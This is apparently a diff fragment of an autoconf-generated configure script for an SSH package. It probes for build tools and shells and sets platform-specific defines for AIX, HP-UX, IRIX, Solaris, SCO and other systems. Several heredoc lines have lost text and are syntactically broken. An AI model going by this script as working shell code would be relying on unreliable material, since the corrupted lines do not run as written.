INSTALL_SCRIPT='${INSTALL_PROGRAM}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +# Extract the first word of "ar", so it can be a program name with args. +set dummy ar; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1137: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_AR'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$AR" in + /*) + ac_cv_path_AR="$AR" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_AR="$AR" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_AR="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +AR="$ac_cv_path_AR" +if test -n "$AR"; then + echo "$ac_t""$AR" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +for ac_prog in perl5 perl +do +# Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1174: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PERL'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PERL" in + /*) + ac_cv_path_PERL="$PERL" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PERL="$PERL" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PERL="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PERL="$ac_cv_path_PERL" +if test -n "$PERL"; then + echo "$ac_t""$PERL" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +test -n "$PERL" && break +done + + +# Extract the first word of "ent", so it can be a program name with args. +set dummy ent; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1213: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_ENT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$ENT" in + /*) + ac_cv_path_ENT="$ENT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_ENT="$ENT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_ENT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +ENT="$ac_cv_path_ENT" +if test -n "$ENT"; then + echo "$ac_t""$ENT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + +for ac_prog in filepriv +do +# Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1251: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_FILEPRIV'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$FILEPRIV" in + /*) + ac_cv_path_FILEPRIV="$FILEPRIV" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_FILEPRIV="$FILEPRIV" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="/sbin:/usr/sbin" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_FILEPRIV="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +FILEPRIV="$ac_cv_path_FILEPRIV" +if test -n "$FILEPRIV"; then + echo "$ac_t""$FILEPRIV" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +test -n "$FILEPRIV" && break +done +test -n "$FILEPRIV" || FILEPRIV="true" + +# Extract the first word of "bash", so it can be a program name with args. +set dummy bash; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1290: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_TEST_MINUS_S_SH'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$TEST_MINUS_S_SH" in + /*) + ac_cv_path_TEST_MINUS_S_SH="$TEST_MINUS_S_SH" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_TEST_MINUS_S_SH="$TEST_MINUS_S_SH" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_TEST_MINUS_S_SH="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +TEST_MINUS_S_SH="$ac_cv_path_TEST_MINUS_S_SH" +if test -n "$TEST_MINUS_S_SH"; then + echo "$ac_t""$TEST_MINUS_S_SH" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +# Extract the first word of "ksh", so it can be a program name with args. +set dummy ksh; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1325: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_TEST_MINUS_S_SH'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$TEST_MINUS_S_SH" in + /*) + ac_cv_path_TEST_MINUS_S_SH="$TEST_MINUS_S_SH" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_TEST_MINUS_S_SH="$TEST_MINUS_S_SH" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_TEST_MINUS_S_SH="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +TEST_MINUS_S_SH="$ac_cv_path_TEST_MINUS_S_SH" +if test -n "$TEST_MINUS_S_SH"; then + echo "$ac_t""$TEST_MINUS_S_SH" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +# Extract the first word of "sh", so it can be a program name with args. +set dummy sh; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1360: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_TEST_MINUS_S_SH'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$TEST_MINUS_S_SH" in + /*) + ac_cv_path_TEST_MINUS_S_SH="$TEST_MINUS_S_SH" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_TEST_MINUS_S_SH="$TEST_MINUS_S_SH" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_TEST_MINUS_S_SH="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +TEST_MINUS_S_SH="$ac_cv_path_TEST_MINUS_S_SH" +if test -n "$TEST_MINUS_S_SH"; then + echo "$ac_t""$TEST_MINUS_S_SH" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + +if test -z "$AR" ; then + { echo "configure: error: *** 'ar' missing, please install or fix your \$PATH ***" 1>&2; exit 1; } +fi + +# Use LOGIN_PROGRAM from environment if possible +if test ! -z "$LOGIN_PROGRAM" ; then + cat >> confdefs.h <&6 +echo "configure:1408: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_LOGIN_PROGRAM_FALLBACK'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$LOGIN_PROGRAM_FALLBACK" in + /*) + ac_cv_path_LOGIN_PROGRAM_FALLBACK="$LOGIN_PROGRAM_FALLBACK" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_LOGIN_PROGRAM_FALLBACK="$LOGIN_PROGRAM_FALLBACK" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_LOGIN_PROGRAM_FALLBACK="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +LOGIN_PROGRAM_FALLBACK="$ac_cv_path_LOGIN_PROGRAM_FALLBACK" +if test -n "$LOGIN_PROGRAM_FALLBACK"; then + echo "$ac_t""$LOGIN_PROGRAM_FALLBACK" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test ! -z "$LOGIN_PROGRAM_FALLBACK" ; then + cat >> confdefs.h <&6 +echo "configure:1455: checking for inline" >&5 +if eval "test \"`echo '$''{'ac_cv_c_inline'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_cv_c_inline=no +for ac_kw in inline __inline__ __inline; do + cat > conftest.$ac_ext <&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_c_inline=$ac_kw; break +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 +fi +rm -f conftest* +done + +fi + +echo "$ac_t""$ac_cv_c_inline" 1>&6 +case "$ac_cv_c_inline" in + inline | yes) ;; + no) cat >> confdefs.h <<\EOF +#define inline +EOF + ;; + *) cat >> confdefs.h <&6 +echo "configure:1508: checking for authenticate" >&5 +if eval "test \"`echo '$''{'ac_cv_func_authenticate'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char authenticate(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_authenticate) || defined (__stub___authenticate) +choke me +#else +authenticate(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1536: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_authenticate=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_authenticate=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'authenticate`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define WITH_AIXAUTHENTICATE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + cat >> confdefs.h <<\EOF +#define BROKEN_GETADDRINFO 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_LASTLOG 1 +EOF + + ;; +*-*-cygwin*) + LIBS="$LIBS -lregex /usr/lib/textmode.o" + cat >> confdefs.h <<\EOF +#define HAVE_CYGWIN 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + cat >> confdefs.h <<\EOF +#define IPV4_DEFAULT 1 +EOF + + cat >> confdefs.h <<\EOF +#define IP_TOS_IS_BROKEN 1 +EOF + + cat >> confdefs.h <<\EOF +#define NO_X11_UNIX_SOCKETS 1 +EOF + + no_libsocket=1 + no_libnsl=1 + ;; +*-*-dgux*) + cat >> confdefs.h <<\EOF +#define IP_TOS_IS_BROKEN 1 +EOF + + ;; +*-*-hpux10*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CPPFLAGS="$CPPFLAGS -D_HPUX_SOURCE" + IPADDR_IN_DISPLAY=yes + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + cat >> confdefs.h <<\EOF +#define SPT_TYPE SPT_PSTAT +EOF + + LIBS="$LIBS -lsec" + ;; +*-*-hpux11*) + CPPFLAGS="$CPPFLAGS -D_HPUX_SOURCE" + IPADDR_IN_DISPLAY=yes + cat >> confdefs.h <<\EOF +#define PAM_SUN_CODEBASE 1 +EOF + + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + cat >> confdefs.h <<\EOF +#define SPT_TYPE SPT_PSTAT +EOF + + LIBS="$LIBS -lsec" + ;; +*-*-irix5*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + PATH="$PATH:/usr/etc" + no_libsocket=1 + no_libnsl=1 + cat >> confdefs.h <<\EOF +#define BROKEN_INET_NTOA 1 +EOF + + ;; +*-*-irix6*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + PATH="$PATH:/usr/etc" + cat >> confdefs.h <<\EOF +#define WITH_IRIX_ARRAY 1 +EOF + + cat >> confdefs.h <<\EOF +#define WITH_IRIX_PROJECT 1 +EOF + + cat >> confdefs.h <<\EOF +#define WITH_IRIX_AUDIT 1 +EOF + + echo $ac_n "checking for jlimit_startjob""... $ac_c" 1>&6 +echo "configure:1675: checking for jlimit_startjob" >&5 +if eval "test \"`echo '$''{'ac_cv_func_jlimit_startjob'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char jlimit_startjob(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_jlimit_startjob) || defined (__stub___jlimit_startjob) +choke me +#else +jlimit_startjob(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1703: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_jlimit_startjob=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_jlimit_startjob=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'jlimit_startjob`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define WITH_IRIX_JOBS 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + no_libsocket=1 + no_libnsl=1 + cat >> confdefs.h <<\EOF +#define BROKEN_INET_NTOA 1 +EOF + + ;; +*-*-linux*) + no_dev_ptmx=1 + check_for_libcrypt_later=1 + cat >> confdefs.h <<\EOF +#define DONT_TRY_OTHER_AF 1 +EOF + + cat >> confdefs.h <<\EOF +#define PAM_TTY_KLUDGE 1 +EOF + + inet6_default_4in6=yes + ;; +mips-sony-bsd|mips-sony-newsos4) + cat >> confdefs.h <<\EOF +#define HAVE_NEWS4 1 +EOF + + SONY=1 + echo $ac_n "checking for xatexit in -liberty""... $ac_c" 1>&6 +echo "configure:1752: checking for xatexit in -liberty" >&5 +ac_lib_var=`echo iberty'_'xatexit | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-liberty $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_XATEXIT 1 +EOF + +else + echo "$ac_t""no" 1>&6 +{ echo "configure: error: *** libiberty missing - please install first or check config.log ***" 1>&2; exit 1; } + +fi + + ;; +*-*-netbsd*) + need_dash_r=1 + ;; +*-*-freebsd*) + check_for_libcrypt_later=1 + ;; +*-next-*) + conf_lastlog_location="/usr/adm/lastlog" + conf_utmp_location=/etc/utmp + conf_wtmp_location=/usr/adm/wtmp + MAIL=/usr/spool/mail + cat >> confdefs.h <<\EOF +#define HAVE_NEXT 1 +EOF + + cat >> confdefs.h <<\EOF +#define BROKEN_REALPATH 1 +EOF + + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + cat >> confdefs.h <<\EOF +#define BROKEN_SAVED_UIDS 1 +EOF + + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + CFLAGS="$CFLAGS" + ;; +*-*-solaris*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -R/usr/local/lib" + need_dash_r=1 + cat >> confdefs.h <<\EOF +#define PAM_SUN_CODEBASE 1 +EOF + + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/var/adm/lastlog" + echo $ac_n "checking for obsolete utmp and wtmp in solaris2.x""... $ac_c" 1>&6 +echo "configure:1838: checking for obsolete utmp and wtmp in solaris2.x" >&5 + sol2ver=`echo "$host"| sed -e 's/.*[0-9]\.//'` + if test "$sol2ver" -ge 8; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + else + echo "$ac_t""no" 1>&6 + fi + ;; +*-*-sunos4*) + CPPFLAGS="$CPPFLAGS -DSUNOS4" + for ac_func in getpwanam +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1859: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1887: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + cat >> confdefs.h <<\EOF +#define PAM_SUN_CODEBASE 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_BOGUS_SYS_QUEUE_H 1 +EOF + + conf_utmp_location=/etc/utmp + conf_wtmp_location=/var/adm/wtmp + conf_lastlog_location=/var/adm/lastlog + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + ;; +*-ncr-sysv*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + LIBS="$LIBS -lc89 -lnsl -lgen -lsocket" + cat >> confdefs.h <<\EOF +#define HAVE_BOGUS_SYS_QUEUE_H 1 +EOF + + ;; +*-sni-sysv*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -L/usr/ucblib" + IPADDR_IN_DISPLAY=yes + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + cat >> confdefs.h <<\EOF +#define IP_TOS_IS_BROKEN 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_BOGUS_SYS_QUEUE_H 1 +EOF + + LIBS="$LIBS -lgen -lnsl -lucb" + ;; +*-*-sysv4.2*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + enable_suid_ssh=no + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + ;; +*-*-sysv5*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + enable_suid_ssh=no + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + ;; +*-*-sysv*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + LIBS="$LIBS -lgen -lsocket" + ;; +*-*-sco3.2v4*) + CPPFLAGS="$CPPFLAGS -Dftruncate=chsize -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + LIBS="$LIBS -lgen -lsocket -los -lprot -lx -ltinfo -lm" + rsh_path="/usr/bin/rcmd" + RANLIB=true + no_dev_ptmx=1 + cat >> confdefs.h <<\EOF +#define BROKEN_SYS_TERMIO_H 1 +EOF + + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_SCO_PROTECTED_PW 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_BOGUS_SYS_QUEUE_H 1 +EOF + + cat >> confdefs.h <<\EOF +#define BROKEN_SAVED_UIDS 1 +EOF + + for ac_func in getluid setluid +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:2011: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2039: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + MANTYPE=man + ;; +*-*-sco3.2v5*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + LIBS="$LIBS -lprot -lx -ltinfo -lm" + no_dev_ptmx=1 + rsh_path="/usr/bin/rcmd" + cat >> confdefs.h <<\EOF +#define USE_PIPES 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_SCO_PROTECTED_PW 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_BOGUS_SYS_QUEUE_H 1 +EOF + + for ac_func in getluid setluid +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:2090: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2118: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + MANTYPE=man + ;; +*-dec-osf*) + if test ! -z "USE_SIA" ; then + echo $ac_n "checking for Digital Unix Security Integration Architecture""... $ac_c" 1>&6 +echo "configure:2147: checking for Digital Unix Security Integration Architecture" >&5 + if test -f /etc/sia/matrix.conf; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_OSF_SIA 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_LOGIN 1 +EOF + + LIBS="$LIBS -lsecurity -ldb -lm -laud" + else + echo "$ac_t""no" 1>&6 + fi + fi + ;; +esac + +# Allow user to specify flags +# Check whether --with-cflags or --without-cflags was given. +if test "${with_cflags+set}" = set; then + withval="$with_cflags" + + if test "x$withval" != "xno" ; then + CFLAGS="$CFLAGS $withval" + fi + + +fi + +# Check whether --with-cppflags or --without-cppflags was given. +if test "${with_cppflags+set}" = set; then + withval="$with_cppflags" + + if test "x$withval" != "xno"; then + CPPFLAGS="$CPPFLAGS $withval" + fi + + +fi + +# Check whether --with-ldflags or --without-ldflags was given. +if test "${with_ldflags+set}" = set; then + withval="$with_ldflags" + + if test "x$withval" != "xno" ; then + LDFLAGS="$LDFLAGS $withval" + fi + + +fi + +# Check whether --with-libs or --without-libs was given. +if test "${with_libs+set}" = set; then + withval="$with_libs" + + if test "x$withval" != "xno" ; then + LIBS="$LIBS $withval" + fi + + +fi + + +# Check whether --with-pcre or --without-pcre was given. +if test "${with_pcre+set}" = set; then + withval="$with_pcre" + + + echo $ac_n "checking for pcre_info in -lpcre""... $ac_c" 1>&6 +echo "configure:2218: checking for pcre_info in -lpcre" >&5 +ac_lib_var=`echo pcre'_'pcre_info | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lpcre $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + cat >> confdefs.h <<\EOF +#define HAVE_LIBPCRE 1 +EOF + + LIBS="$LIBS -lpcreposix -lpcre" + no_comp_check="yes" + +else + echo "$ac_t""no" 1>&6 + { echo "configure: error: *** Can not locate pcre libraries." 1>&2; exit 1; } + +fi + + + +fi + + +# Checks for libraries. +if test -z "$no_libnsl" ; then + echo $ac_n "checking for yp_match in -lnsl""... $ac_c" 1>&6 +echo "configure:2274: checking for yp_match in -lnsl" >&5 +ac_lib_var=`echo nsl'_'yp_match | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lnsl $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo nsl | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + +fi +if test -z "$no_libsocket" 